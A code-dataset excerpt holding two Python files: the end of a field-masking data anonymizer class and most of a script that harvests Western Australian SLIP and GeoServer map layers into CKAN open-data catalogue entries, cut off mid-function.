Anonymizer:\n def __init__(self, reader=None, writer=None, field_maps={}):\n \"\"\"a prepackaged anonymizer class\n\n an anonymizer is responsible for grabbing data from the source datastore,\n masking fields specified in a config, and writing data to a destination\n\n can be used by\n\n :param reader: an instantiated reader\n :param writer: an instantiated writer\n :param field_maps: a dict like {'field.name': 'mapping_type'}\n \"\"\"\n\n # add provider mappings here. these should map strings from the config to Faker providers\n self.provider_map = {\n \"file_path\": file_path,\n \"ipv4\": ipv4,\n \"geo_point\": geo_point,\n \"message\": message,\n \"service\": service_name,\n \"username\": username\n }\n\n self.provider_key_function = {\n \"geo_point\": geo_point_key,\n \"message\": message_key\n }\n\n self.field_maps = field_maps\n self.reader = reader\n self.writer = writer\n\n self.source = None\n self.dest = None\n self.masked_fields = None\n self.suppressed_fields = None\n self.reader_type = None\n self.writer_type = None\n\n # only parse config if it exists\n # this allows for anonymizer class instantiation via direct parameter setting\n if not self.reader:\n self.instantiate_reader()\n if not self.writer:\n self.instantiate_writer()\n\n # if used programmatically, an anonymizer must be instantiated with a reader and a writer\n elif not all([self.reader, self.writer]):\n raise AnonymizerError(\"Anonymizers must include both a reader and a writer\")\n\n def instantiate_reader(self):\n source_params = self.source.get('params')\n if not source_params:\n raise ReaderError(\"source params not defined: please check config\")\n\n reader = readers.mapping.get(self.reader_type)\n if not reader:\n raise ReaderError(\"No reader named {} defined.\".format(self.reader_type))\n\n self.reader = reader(source_params, self.masked_fields, self.suppressed_fields)\n\n def instantiate_writer(self):\n dest_params = self.dest.get('params')\n if not dest_params:\n raise WriterError(\"dest params not define: please check config\")\n\n writer = writers.mapping.get(self.writer_type)\n if not writer:\n raise WriterError(\"No writer named {} defined.\".format(self.writer_type))\n\n self.writer = writer(dest_params)\n\n def anonymize(self, infer=False, include_rest=False):\n \"\"\"this is the core method for anonymizing data\n\n it utilizes specific reader and writer class methods to retrieve and store data. in the process\n we define mappings of unmasked values to masked values, and anonymize fields using self.faker\n \"\"\"\n\n # first, infer mappings based on indices and overwrite the config.\n if infer:\n self.reader.infer_providers()\n\n # next, create masking maps that will be used for lookups when anonymizing data\n self.field_maps = self.reader.create_mappings()\n\n for field, map in self.field_maps.items():\n for value, _ in map.items():\n mask_str = self.reader.masked_fields[field]\n if mask_str != 'infer':\n mask = self.provider_map[mask_str]\n map[value] = mask(value)\n\n # get generator object from reader\n total = self.reader.get_count()\n logging.info(\"total number of records {}...\".format(total))\n\n data = self.reader.get_data(list(self.field_maps.keys()), self.reader.suppressed_fields, include_rest)\n\n # batch process the data and write out to json in chunks\n count = 0\n for batchiter in utils.batch(data, 10000):\n tmp = []\n for item in batchiter:\n bulk = {\n \"index\": {\n \"_index\": item.meta['index'],\n \"_type\": 'doc'\n }\n }\n tmp.append(json.dumps(bulk))\n item = utils.flatten_nest(item.to_dict())\n for field, v in item.items():\n if self.field_maps[field]:\n item[field] = self.field_maps[field][item[field]]\n tmp.append(json.dumps(utils.flatten_nest(item)))\n self.writer.write_data(tmp)\n count += len(tmp) / 2 # There is a bulk row for every document\n logging.info(\"{} % complete...\".format(count/total * 100))\n\n\nclass LazyAnonymizer(Anonymizer):\n def __init__(self, reader=None, writer=None, field_maps={}):\n super().__init__(reader, writer, field_maps)\n\n # required as dictionary can be\n def __generate_field_map_key(self):\n pass\n\n def __delete_field_in_place(self, doc, field_path):\n if len(field_path) > 1:\n if field_path[0] in doc and isinstance(doc[field_path[0]], collections.MutableMapping):\n deleted = self.__delete_field_in_place(doc[field_path[0]], field_path[1:])\n if deleted:\n #check for empty key\n if not doc[field_path[0]]:\n del doc[field_path[0]]\n return deleted\n elif len(field_path) == 1:\n if field_path[0] in doc:\n del doc[field_path[0]]\n return True\n\n def __anon_field_value(self, mask_str, value):\n if not mask_str:\n return value\n field_map = self.field_maps[mask_str]\n list = False\n if mask_str in self.provider_key_function:\n # we have a means of mapping this field to a key\n mask_keys = self.provider_key_function[mask_str](value)\n else:\n if isinstance(value, collections.MutableSequence):\n mask_keys = value\n list = True\n else:\n mask_keys = [value]\n mask = self.provider_map[mask_str]\n masked_values = []\n for mask_key in mask_keys:\n if mask_key:\n if not mask_key in field_map:\n field_map[mask_key] = mask(value)\n masked_values.append(field_map[mask_key])\n else:\n masked_values.append(mask(value))\n if not list:\n return masked_values[0]\n return masked_values\n\n # used when we want to keep most fields i.e. include_rest=True. Copying every field more expensive than modifying those that need to be changed\n def __anon_field_in_place(self, doc, field_path, mask_str):\n if len(field_path) > 1:\n if field_path[0] in doc and isinstance(doc[field_path[0]], collections.MutableMapping):\n self.__anon_field_in_place(doc[field_path[0]], field_path[1:], mask_str)\n elif len(field_path) == 1:\n if field_path[0] in doc:\n doc[field_path[0]] = self.__anon_field_value(mask_str, doc[field_path[0]])\n\n def __anon_field(self, doc, field_path, mask_str):\n new_field = {}\n if len(field_path) > 1:\n if field_path[0] in doc and isinstance(doc[field_path[0]], collections.MutableMapping):\n new_value = self.__anon_field(doc[field_path[0]], field_path[1:], mask_str)\n # field may not exist, dont create empty entries\n if not isinstance(new_value, collections.MutableMapping) or new_value:\n new_field.update({\n field_path[0]: new_value\n })\n elif len(field_path):\n if field_path[0] in doc:\n return {\n field_path[0]: self.__anon_field_value(mask_str, doc[field_path[0]])\n }\n return new_field\n\n def __anon_doc_include_all(self, doc, mask_fields, exclude, sep='.'):\n for field, mask_str in mask_fields.items():\n if not field in exclude:\n # update doc in place as we want all the other fields\n self.__anon_field_in_place(doc, field.split(sep), mask_str)\n for field in exclude:\n self.__delete_field_in_place(doc, field.split(sep))\n return doc\n\n def __anon_doc(self, doc, mask_fields, exclude, sep='.'):\n new_doc = {}\n for field, mask_str in mask_fields.items():\n if not field in exclude:\n new_doc.update(self.__anon_field(doc, field.split(sep), mask_str))\n for field in exclude:\n self.__delete_field_in_place(new_doc, field.split(sep))\n return new_doc\n\n def anonymize(self, infer=False, include_rest=True):\n if infer:\n self.reader.infer_providers()\n # rather than a map of values per field we create a map of values per type - this ensures fields are consistently mapped across fields in a document as well as across values\n self.field_maps = {key: {} for key in self.provider_map.keys()}\n data = self.reader.get_data(list(self.field_maps.keys()), self.reader.suppressed_fields, include_rest)\n exclude = set(self.reader.suppressed_fields)\n count = 0\n file_name = \"documents-%s\"\n i = 0\n for batchiter in utils.batch(data, 100000):\n tmp = []\n for item in batchiter:\n if include_rest:\n tmp.append(json.dumps(self.__anon_doc_include_all(item, self.reader.masked_fields, exclude)))\n else:\n tmp.append(json.dumps(self.__anon_doc(item, self.reader.masked_fields, exclude)))\n self.writer.write_data(tmp, file_name=file_name % i)\n count += len(tmp)\n logging.info(f\"{count} documents complete\")\n i += 1\n\nanonymizer_mapping = {\n \"default\": Anonymizer,\n \"lazy\": LazyAnonymizer\n}\n","sub_path":"anonymize_it/anonymizers.py","file_name":"anonymizers.py","file_ext":"py","file_size_in_byte":10278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"455326952","text":"import ckanapi\nimport csv\nfrom datetime import datetime\nimport json\nimport requests\nimport os\nfrom owslib.wms import WebMapService\nfrom owslib.wfs import WebFeatureService\nfrom pyproj import Proj, transform\nimport re\nfrom slugify import slugify\n\n\n#-------------------------------------------------------------------------------------#\n# SLIP Classic\n#-------------------------------------------------------------------------------------#\n\ndef make_slip_wfs_name(dataset_name):\n \"\"\"\n Extract the SLIP WFS layer name from a dataset name.\n \n >>> make_slip_wfs_name('LGATE-001')\n 'slip:LGATE-001'\n \"\"\"\n return \"slip:{0}\".format(dataset_name.upper())\n\n\ndef make_dataset_name(slip_wfs_name):\n \"\"\"Extract the dataset name from a SLIP WFS layer name\n \n >>> make_dataset_name('slip:LGATE-001')\n 'LGATE-001'\n \"\"\"\n return slip_wfs_name.split(\":\")[1]\n\n\ndef parse_name(text, debug=False):\n \"\"\"Split a string of LAYER NAME (OPTIONAL EXTRAS) (LAYER ID) (OPTIONAL LAST UPDATED)\n into Layer name (optional extras), layer ID and date last updated\n \n Arguments:\n text (String) text, e.g.:\n Ramsar Sites (Dpaw-037) (28-10-2014 11:11:15)\n Hydrographic Catchments - Basins (Dow-013) (03-11-2008 15:07:44)\n Hydrographic Catchments - Basins (Dow-013)\n Misc Transport (Point) (Lgate-037) (18-10-2012 16:54:00)\n Returns:\n A tuple of (layer title, id, published date)\n \n Examples:\n \n >>> parse_name(\"Hydrographic Catchments - Basins (Dow-013) (03-11-2008 15:07:44)\")\n INPUT\n text: Hydrographic Catchments - Basins (Dow-013) (03-11-2008 15:07:44)\n Testing whether last parenthesis is a date, input: 15:07:44)\n Testing whether 03-11-2008 15:07:44 parses as a valid date...\n ...success, got 2008-11-03T15:07:44\n OUTPUT\n title: Hydrographic Catchments - Basins\n name: dow-013\n date: 2008-11-03T15:07:44\n \n >>> parse_name(\"Misc Transport (Point) (Lgate-037) (18-10-2012 16:54:00)\", debug=True)\n INPUT\n text: Misc Transport (Point) (Lgate-037) (18-10-2012 16:54:00)\n Testing whether last parenthesis is a date, input: 16:54:00)\n Testing whether 18-10-2012 16:54:00 parses as a valid date...\n ...success, got 2012-10-18T16:54:00\n OUTPUT\n title: Misc Transport (Point)\n name: lgate-037\n date: 2012-10-18T16:54:00\n\n >>> parse_name(\"Hydrographic Catchments - Basins (Dow-013)\", debug=True)\n INPUT\n text: Hydrographic Catchments - Basins (Dow-013)\n Testing whether last parenthesis is a date, input: ['Hydrographic', 'Catchments', '-', 'Basins', '(Dow-013)']\n Last text part starts with parenthesis, so it's not a date: (Dow-013)\n No valid date found, inserting current datetime as replacement\n OUTPUT\n title: Hydrographic Catchments - Basins\n name: dow-013\n date: 2015-10-05T13:41:48\n \n >>> parse_name(\"Overview Rivers(LGATE-053) (14-05-2008 17:59:05)\", debug=True)\n INPUT\n text: Overview Rivers(LGATE-053) (14-05-2008 17:59:05)\n Testing whether last parenthesis is a date, input: ['Overview', 'River', '(LGATE-053)', '(14-05-2008', '17:59:05)']\n Testing whether 14-05-2008 17:59:05 parses as a valid date...\n ...success, got 2008-05-14T17:59:05\n OUTPUT\n title: Overview River\n name: lgate-053\n date: 2008-05-14T17:59:05\n \n >>> parse_name(\"Graticule (REF-001)\", debug=True)\n INPUT\n text: Graticule (REF-001)\n Testing whether last parenthesis is a date, input: ['Graticule', '(REF-001)']\n Last text part starts with parenthesis, so it's not a date: (REF-001)\n No valid date found, inserting current datetime as replacement\n OUTPUT\n title: Graticule\n name: ref-001\n date: 2015-10-05T13:41:03\n \n >>> parse_name(\"Virtual Mosaic\", debug=True)\n INPUT\n text: Virtual Mosaic\n Testing whether last parenthesis is a date, input: Mosaic\n Testing whether Virtual Mosaic parses as a valid date...\n ...failure. Using current datetime instead.\n No valid date found, inserting current datetime as replacement\n No name slug found\n OUTPUT\n title: Virtual Mosaic\n name: None\n date: 2015-10-08T17:14:42\n \"\"\"\n if debug:\n print(\"INPUT\\n text: {0}\".format(text.encode('utf-8')))\n\n min_length = 4 # title, name, date, time\n chop_off = 3 # chop off name, date, time to retain title\n date_missing = False\n set_dummy_date = False\n \n # Assert that there's whitespace before opening parentheses\n # Looking at you, \"Overview Rivers(LGATE-053) (14-05-2008 17:59:05)\":\n text = re.sub(r\"[a-z]\\(\", u\" (\", text)\n \n p = text.encode('utf-8').split()\n \n if debug:\n print(\" Testing whether last parenthesis is a date, input: {0}\".format(str(p[-1])))\n \n # If last part starts with a parenthesis, it's not the date, but the name\n if p[-1].startswith(\"(\"):\n if debug:\n print(\" Last text part starts with parenthesis, so it's not a date: {0}\".format(p[-1]))\n chop_off = 1\n date_missing = True\n set_dummy_date = True\n \n if not date_missing:\n d = \"{0} {1}\".format(p[-2].replace(\"(\", \"\"), p[-1].replace(\")\", \"\"))\n try:\n if debug:\n print(\" Testing whether {0} parses as a valid date...\".format(d))\n dt = datetime.strptime(d, \"%d-%m-%Y %H:%M:%S\").strftime(\"%Y-%m-%dT%H:%M:%S\")\n if debug:\n print(\" ...success, got {0}\".format(dt))\n except ValueError:\n if debug:\n print(\" ...failure. Using current datetime instead.\")\n set_dummy_date = True\n \n if set_dummy_date:\n if debug:\n print(\" No valid date found, inserting current datetime as replacement\")\n dt = datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S\")\n \n if p[-1].endswith(\")\"):\n n = p[-chop_off].replace(\"(\", \"\").replace(\")\",\"\").lower()\n else:\n if debug:\n print(\" No name slug found\")\n chop_off = 0\n n = None\n \n t = \" \".join(p[0:len(p)-chop_off])\n if debug:\n print(\"OUTPUT\\n title: {0}\\n name: {1}\\n date: {2}\".format(t, n, dt))\n return (t, n, dt)\n\n\ndef bboxWGS84_to_gjMP(bbox):\n \"\"\"Return a WMS layer's layer.\n \n Arguments:\n bbox (owslib.wms.ContentMetadata.boundingBoxWGS84): A WGS84 bbox \n from an owslib WxS layer content\n \n Returns:\n dict A GeoJSON MultiPolygon Geometry string in WGS84 or an empty String\n \"\"\"\n try:\n e, s, w, n = bbox\n return json.dumps({\"type\": \"MultiPolygon\", \n \"coordinates\": [[[[e,n],[e,s],[w,s],[w,n]]]]})\n except:\n return \"\"\n \n\ndef wxs_to_dict(layer, wxs_url, org_dict, group_dict, pdf_dict, \n fallback_org_id=None, res_format=\"WMS\", debug=False):\n '''Convert a WMS layer into a dict of a datawagovau-schema CKAN package.\n\n This function is highly customised to harvesting \n Landgate's SLIP WMS into data.wa.gov.au.\n \n Assumption: All WMS layers have parent layers from which we've \n created groups, and group_dict is the result of ckanapi's\n `group_list` or the sum of all results of `group_create/update`.\n \n \n m = wmsP.contents[\"DAA-001\"]\n m.id, m.title, m.abstract, m.boundingBoxWGS84, m.crsOptions, m.keywords, m.parent.title\n ('DAA-001',\n 'Aboriginal Heritage Places (DAA-001) (14-10-2015 21:40:58)',\n None,\n (112.892, -35.0874, 129.925, -13.7403),\n ['EPSG:4283',\n 'EPSG:20352',\n 'EPSG:20351',\n 'EPSG:20350',\n 'EPSG:20349',\n 'EPSG:4326',\n 'EPSG:3857',\n 'EPSG:900913',\n 'EPSG:28349',\n 'EPSG:3785',\n 'EPSG:102100',\n 'EPSG:4203',\n 'EPSG:102113',\n 'EPSG:28352',\n 'EPSG:28351',\n 'EPSG:28350'],\n [],\n 'Cultural, Society and Demography')\n \n \n \n make_slip_wfs_name(\"DAA-001\")\n l = wfsP.contents[\"slip:DAA-001\"]\n l.id, l.title, l.abstract, l.boundingBoxWGS84, l.crsOptions, l.keywords, l.verbOptions\n ('slip:DAA-001',\n 'Aboriginal Heritage Places (DAA-001)',\n 'MF:2000',\n (112.891525268555, -35.0873985290527, 129.925109863281, -13.740309715271),\n [urn:ogc:def:crs:EPSG::4326],\n ['daa_001 DAA'],\n ['{http://www.opengis.net/wfs}Query',\n '{http://www.opengis.net/wfs}Insert',\n '{http://www.opengis.net/wfs}Update',\n '{http://www.opengis.net/wfs}Delete',\n '{http://www.opengis.net/wfs}Lock'])\n \n\n Arguments:\n layer (owslib.wms.ContentMetadata): A WMS object content layer\n wms_url (String): The resource URL for WMS layers\n wfs (owslib.wfs.WebFeatureService): An owslib WFS object\n wfs_url (String): The resource URL for WFS layers\n org_dict (dict): The output of ckanapi's organsation_list\n group_dict (dict): The output of ckanapi's group_list\n pdf_dict (dict): A wmslayer-named dict of resource metadata of PDFs\n fallback_org_id (String): The CKAN ID of the fallback owner organisation\n res_format (String): The resource format (WMS, WFS, WPS, WCS), default: WMS\n debug (Boolean): Debug noise level\n \n Returns:\n dict: A dictionary ready for ckanapi's package_update\n \n @example \n >>> from owslib.wms import WebMapService\n >>> import ckanapi\n >>> wms = WebMapService(WMS_URL, version='1.1.1')\n >>> ckan = ckanapi.RemoteCKAN(\"http://landgate.alpha.data.wa.gov.au/\", apikey=APIKEY)\n >>> ckan = ckanapi.RemoteCKAN(CKAN[\"wwba\"][\"url\"], apikey=CKAN[\"wwba\"][\"key\"])\n >>> pdf_dict = get_pdf_dict(\"data-dictionaries.csv\")\n >>> org_dict = get_org_dict(\"organisations.csv\")\n >>> orgs = upsert_orgs(org_dict, ckan, debug=False)\n >>> layer_dict = get_layer_dict(wms_layer, WMS_URL, wfs, WFS_URL, orgs, groups, pdf_dict)\n '''\n try:\n n = layer.name\n # add more checks to pick up the copyright layer\n except:\n #print(\"[wms_to_dict] Yuck, that was not a WMS layer *spits*\")\n #return(None)\n n = make_dataset_name(layer.id)\n\n d = dict()\n \n (ds_title, ds_name, date_pub) = parse_name(layer.title, debug)\n if ds_name is None:\n print(\"[wms_to_dict] No dataset name found, skipping\")\n return(None)\n ds_NAME = ds_name.upper()\n \n # Theme, Keywords and Group (only from WMS parent layer)\n d[\"tag_string\"] = [\"SLIP Classic\", \"Harvested\"]\n try:\n p = layer.parent.title\n \n d[\"theme\"] = p\n \n grp_dict = group_dict.get(p, None)\n \n grp_id = grp_dict.get(\"id\", None)\n if grp_id:\n grp = dict()\n grp[\"id\"] = grp_id\n d[\"groups\"] = [grp,]\n \n grp_name = grp_dict.get(\"name\", None)\n if grp_name:\n d[\"tag_string\"].append(grp_name)\n \n except:\n if debug:\n print(\"[wxs_to_dict] Skipping Theme, Keywords, Group - \"+\\\n \"no parent layer found for {0} layer {1}\".format(\n res_format, ds_name))\n\n \n org_name = ds_name.split(\"-\")[0]\n owner_org_dict = org_dict.get(org_name, None)\n owner_org_id = owner_org_dict.get(\"id\") if owner_org_dict and owner_org_dict.has_key(\"id\") else fallback_org_id \n owner_org_title = owner_org_dict.get(\"title\") if owner_org_dict and owner_org_dict.has_key(\"title\") else \"\"\n extras = owner_org_dict.get(\"extras\") if owner_org_dict and owner_org_dict.has_key(\"extras\") else \"\"\n if extras:\n owner_org_contact = [x[\"value\"] for x in extras if x[\"key\"]==\"Contact\"][0]\n owner_org_jurisdiction = [x[\"value\"] for x in extras if x[\"key\"]==\"Jurisdiction\"][0]\n else:\n owner_org_contact = \"\"\n owner_org_jurisdiction = \"Western Australia (default)\"\n \n slip_description = u\"when prompted, use your [SLIP](https://www2.landgate.wa.gov.au/\"+\\\n u\"web/guest/how-to-access-slip-services) \"+\\\n u\"username and password to preview the resource below \"+\\\n u\"or open the resource URL in a GIS application (e.g. QGIS or ArcGIS) as layer _{0}_.\".format(ds_NAME)\n\n d[\"name\"] = slugify(ds_title)\n d[\"title\"] = ds_title\n #d[\"doi\"] = \"\"\n #d[\"citation\"] = \"\"\n d[\"notes\"] = u\"The dataset _{0}_ has\".format(ds_NAME) +\\\n \" been sourced from Landgate's \" +\\\n u\"Shared Location Information Platform (SLIP) - the home for Western\" +\\\n u\" Australian government geospatial data.\\n\\nMany of the datasets in\" +\\\n u\" SLIP are free and publicly available to users who simply \" +\\\n u\"[sign up for a SLIP account](https://www2.landgate.wa.gov.au/web/guest\" +\\\n u\"/request-registration-type).\\n\\nFind out more about SLIP at \" +\\\n u\"[http://slip.landgate.wa.gov.au/](http://slip.landgate.wa.gov.au/).\"\n \n d[\"owner_org\"] = owner_org_id\n \n d[\"data_portal\"] = \"http://slip.landgate.wa.gov.au/\"\n d[\"data_homepage\"] = \"\"\n d[\"license_title\"] = \"Other (Open)\"\n d[\"license_id\"] = \"other-open\"\n d[\"author\"] = owner_org_title\n d[\"author_email\"] = owner_org_contact\n d[\"maintainer_email\"] = \"customerservice@landgate.wa.gov.au\"\n d[\"maintainer\"] = \"Landgate\"\n d[\"private\"] = False\n d[\"spatial\"] = bboxWGS84_to_gjMP(layer.boundingBoxWGS84)\n d[\"published_on\"] = date_pub\n d[\"last_updated_on\"] = date_pub\n d[\"update_frequency\"] = \"frequent\"\n #d[\"data_temporal_extent_begin\"] = \"\"\n #d[\"data_temporal_extent_end\"] = \"\"\n\n resource_list = []\n \n # Attach Data Dict PDF as resource if available\n pdf_url = pdf_dict.get(ds_name, None)\n if pdf_url:\n if debug:\n print(\" Found PDF resource\")\n r = dict()\n r[\"description\"] = \"Data Dictionary for {0}\".format(ds_NAME)\n r[\"format\"] = \"PDF\"\n r[\"name\"] = \"Data dictionary and dataset metadata\"\n r[\"url\"] = pdf_url\n d[\"data_homepage\"] = pdf_url\n resource_list.append(r)\n \n # Attach WMS/WFS endpoint as resource\n r = dict()\n r[\"description\"] = slip_description\n r[\"format\"] = res_format.lower()\n r[\"name\"] = \"{0} ({1}) {2}\".format(ds_title, ds_NAME, res_format.upper())\n r[\"url\"] = wxs_url\n r[\"{0}_layer\".format(res_format.lower())] = ds_NAME\n resource_list.append(r)\n \n d[\"resources\"] = resource_list\n \n if debug:\n print(\"[wxs_to_dict] Returning package dict \\n{0}\".format(str(d)))\n\n return d\n\n\n\ndef gs28_to_ckan(layer, wxs_url, ckan, \n fallback_org_id=None, res_format=\"WMS\", debug=False):\n \"\"\"Convert a GeoServer 2.8 WMS layer into a dict of a datawagovau-schema CKAN package.\n \n This function is tailored towards kmi.dpaw.wa.gov.au's implementation.\n \"\"\"\n\n d = dict()\n \n org_name = layer.name.split(\":\")[0]\n try:\n owner_org = ckan.action.organization_show(id=org_name)\n owner_org_id = owner_org[\"id\"]\n except NotFound:\n owner_org_id = fallback_org_id\n\n d[\"name\"] = slugify(layer.name)\n d[\"title\"] = layer.title\n #d[\"doi\"] = \"\"\n #d[\"citation\"] = \"\"\n d[\"notes\"] = layer.abstract or \"\"\n d[\"owner_org\"] = owner_org_id\n d[\"tag_string\"] = [\"Knowledge Management Initiative\", \"KMI\", \"Harvested\"]\n d[\"data_portal\"] = \"http://kmi.dpaw.wa.gov.au/geoserver/web/\"\n d[\"data_homepage\"] = \"\"\n d[\"license_id\"] = \"cc-by-sa\"\n d[\"author\"] = layer.parent.title\n d[\"author_email\"] = \"\"\n d[\"maintainer_email\"] = \"marinedatarequests@dpaw.wa.gov.au\"\n d[\"maintainer\"] = \"Marine Data Manager\"\n d[\"private\"] = False\n d[\"spatial\"] = bboxWGS84_to_gjMP(layer.boundingBoxWGS84)\n #d[\"published_on\"] = None\n #d[\"last_updated_on\"] = None\n d[\"update_frequency\"] = \"frequent\"\n #d[\"data_temporal_extent_begin\"] = \"\"\n #d[\"data_temporal_extent_end\"] = \"\"\n\n resource_list = []\n \n # Attach WMS/WFS endpoint as resource\n r = dict()\n r[\"description\"] = layer.parent.title\n r[\"format\"] = res_format.lower()\n r[\"name\"] = \"{0} {1}\".format(layer.title, res_format.upper())\n r[\"url\"] = wxs_url\n r[\"{0}_layer\".format(res_format.lower())] = layer.name\n resource_list.append(r)\n \n d[\"resources\"] = resource_list\n \n if debug:\n print(\"[wxs_to_dict] Returning package dict \\n{0}\".format(str(d)))\n\n return d\n\ndef get_layer_dict_gs28(wxs, wxs_url, ckanapi, \n fallback_org_name='dpaw', res_format=\"WMS\", \n debug=False):\n \"\"\"Return a list of CKAN API package_show-compatible dicts\n \n Arguments:\n \n wxs A wxsclient loaded from a WXS enpoint\n wxs_url The WXS endpoint URL to use as dataset resource URL\n ckanapi A ckanapi instance with at least read permission\n org_dict A dict of CKAN org names and ids\n pdf_dict A dict of dataset names and corresponding PDF URLs\n debug Debug noise\n fallback_org_name The fallback CKAN org name , default:'lgate' \n \n Returns:\n A list of CKAN API package_show-compatible dicts\n \"\"\"\n foid = ckanapi.action.organization_show(id=fallback_org_name)[\"id\"]\n return [gs28_to_ckan(wxs.contents[layername], wxs_url, ckanapi, \n fallback_org_id=foid, res_format=res_format,\n debug=debug) for layername in wxs.contents]\n\n\ndef add_resource_to_list(resourcedict_list, resource_dict, debug=False):\n \"\"\"Add a single resource_dict to a resourcedict_list if URL is unique\n \n Arguments:\n resourcedict_list (List of dicts): package_show(id=\"xxx\")[\"resources\"]\n resource_dict (dict): One resource dict\n debug (Boolean): Debug noise level\n \n Returns:\n List of resource dicts\n \"\"\"\n if not resource_dict[\"url\"] in [r[\"url\"] for r in resourcedict_list]:\n if debug:\n print(\"[add_resource_to_list] New resource added with unique URL {0}\".format(\n resource_dict[\"url\"]))\n resourcedict_list.append(resource_dict)\n return resourcedict_list\n else:\n if debug:\n print(\"[add_resource_to_list] New resource skipped with duplicate URL {0}\".format(\n resource_dict[\"url\"]))\n return resourcedict_list\n \n \ndef add_resources_to_list(old, new, debug=False):\n \"\"\"Add multiple resource dicts to a resourcedict_list if URLs are unique\n \n Arguments:\n old (List of dicts): package_show(id=\"xxx\")[\"resources\"]\n new (List of dicts): package_show(id=\"xxx\")[\"resources\"]\n debug (Boolean): Debug noise level\n \n Returns\n List of resource dicts\n \"\"\"\n result = old\n for resource in new:\n result = add_resource_to_list(result, resource, debug=debug)\n return result\n\n \ndef upsert_dataset(data_dict, ckanapi, overwrite_metadata=True, \n drop_existing_resources=True, debug=False):\n '''\n Create or update a CKAN dataset (data.wa.gov.au schema) from a dict.\n\n WARNING: This will overwrite resources and drop manually added resources in CKAN.\n No guarantees can be given for manual changes applied to harvested datasets\n when the dataset is harvested again.\n\n Arguments:\n datadict (dict): A dict like ckanapi `package_show`\n ckanapi (ckanapi): A ckanapi object (created with CKAN url and write-permitted api key)\n overwrite_metadata (Boolean): Whether to overwrite existing dataset metadata (default)\n drop_existing_resources (Boolean): Whether to drop existing resources (default) or merge\n new and existing with identical resource URL\n debug (Boolean): Debug noise level\n @return None\n '''\n if data_dict is None:\n print(\"[upsert_dataset] No input, skipping.\")\n return(None)\n \n if not data_dict.has_key(\"name\"):\n print(\"[upsert_dataset] Invalid input:\\n{0}\".format(str(data_dict)))\n return(None)\n \n n = data_dict.get(\"name\", None)\n \n print(\"[upsert_dataset] Reading WMS layer {0}\".format(n))\n\n new_package = data_dict\n new_resources = data_dict[\"resources\"]\n \n \n try:\n # Package exists with metadata we want to keep or overwrite,\n # and resources we want to keep or discard\n package = ckanapi.action.package_show(id=n)\n if debug:\n print(\"[upsert_dataset] Found existing package {0}\".format(package[\"name\"]))\n do_update = True\n except:\n print(\"[upsert_dataset] Layer not found, creating...\")\n do_update = False\n #try:\n package = ckanapi.action.package_create(**data_dict)\n # print(\"[upsert_dataset] Created dataset {0}\".format(n))\n #except:\n # print(\"[upsert_dataset] Rejected\")\n # data_dict[\"ERROR\"] = \"CKAN rejected layer {0}\".format(n)\n # package = data_dict\n \n \n if do_update:\n \n old_resources = package[\"resources\"]\n if debug:\n print(\"[upsert_dataset] Old resources: {0}\".format(str(old_resources)))\n print(\"[upsert_dataset] New resources: {0}\".format(str(new_resources)))\n \n\n # Discard or merge existing resources\n if drop_existing_resources:\n resources = new_resources\n msg_res = \"[upsert_dataset] Existing resources were replaced with new resources.\"\n else:\n resources = add_resources_to_list(old_resources, new_resources, debug=debug)\n msg_res = \"[upsert_dataset] Existing resources were kept, new resources were added.\"\n \n if debug:\n print(\"[upsert_dataset] Merged resources: {0}\".format(str(resources)))\n \n # Keep or overwrite package metadata\n if overwrite_metadata:\n pkg = new_package\n msg_pkg = \"[upsert_dataset] Existing dataset metadata were updated.\"\n else:\n pkg = package\n msg_pkg = \"[upsert_dataset] Existing dataset metadata were not changed.\"\n\n # Attach merged or new resources\n pkg[\"resources\"] = resources\n\n # Update package\n if debug:\n print(\"[upsert_dataset] Attempting to update package {0} with data\\n{1}\".format(\n package[\"name\"], str(package)))\n package = ckanapi.action.package_update(**pkg)\n msg = \"[upsert_dataset] Layer exists.\\n {0}\\n {1}\".format(msg_pkg, msg_res)\n print(msg)\n\n\n return(package)\n\n\ndef get_pdf_dict(filename):\n \"\"\"\n Return a spreadsheet of information on PDF resources as a dict.\n The dict contains a list of dataset name:PDF URL key-value pairs.\n \"\"\"\n print(\"[get_pdf_dict] Reading {0}...\".format(filename))\n with open(\"data-dictionaries.csv\", \"rb\") as pdflist:\n pdf_dict = dict((p[\"id\"].lower(), \n p[\"url\"]) for p in csv.DictReader(pdflist))\n print(\"[get_pdf_dict] Done.\")\n return pdf_dict\n\n\ndef get_org_dict(filename):\n \"\"\"Return a spreadsheet of organisations as a name-indexed dict of organisation data.\n \n The innermost dicts can be used to `upsert_org` a CKAN organisation.\n The list of dicts can be used to `upsert_orgs`.\n \n The spreadsheet must contain the headers \n \"name\",\"title\",\"url\", and \"logo_url\",\n corresponding to the CKAN organisation keys, \n plus extras \"contact\", \"url\" and \"jurisdiction\".\n \n Arguments:\n filename The filename incl relative or absolute path of the spreadsheet\n \n Returns:\n A list of dicts to feed `upsert_orgs`.\n \"\"\"\n print(\"[get_org_dict] Reading {0}...\".format(filename))\n with open(filename, \"rb\") as orgcsv:\n orgs = dict()\n for org in csv.DictReader(orgcsv):\n orgname = org[\"name\"].lower()\n orgs[orgname] = dict()\n orgs[orgname][\"name\"] = orgname\n orgs[orgname][\"title\"] = org[\"title\"]\n orgs[orgname][\"url\"] = org[\"url\"]\n orgs[orgname][\"image_url\"] = org[\"logo_url\"]\n orgs[orgname][\"groups\"] = [{\"capacity\": \"public\",\"name\": \"wa-state-government\"}]\n orgs[orgname][\"extras\"] = [\n {\"key\": \"Contact\", \"value\": org[\"contact\"]},\n {\"key\": \"Homepage\", \"value\": org[\"url\"]},\n {\"key\": \"Jurisdiction\", \"value\": org[\"jurisdiction\"]}\n ]\n \n print(\"[get_org_dict] Done.\")\n return orgs\n\n\ndef get_group_dict(wms):\n \"\"\"\n Return a spreadsheet of organisations as a name-indexed dict of organisation data.\n The innermost dicts can be used to `upsert_org` a CKAN organisation.\n \n The spreadsheet must contain the headers \"name\",\"title\",\"url\", and \"logo_url\",\n corresponding to the CKAN organisation keys.\n \n Arguments:\n wms (owslib.wms.WebMapService): An owslib WMS instance\n \"\"\"\n print(\"[get_group_dict] Reading wms...\")\n groups = dict()\n for grp_title in set([wms.contents[l].parent.title for l in wms.contents]):\n groups[grp_title] = dict()\n groups[grp_title][\"name\"] = slugify(grp_title)\n groups[grp_title][\"title\"] = grp_title\n print(\"[get_group_dict] Done.\")\n return groups\n\n\ndef upsert_org(datadict, ckanapi, debug=False):\n \"\"\"Create or update organisations through a ckanapi 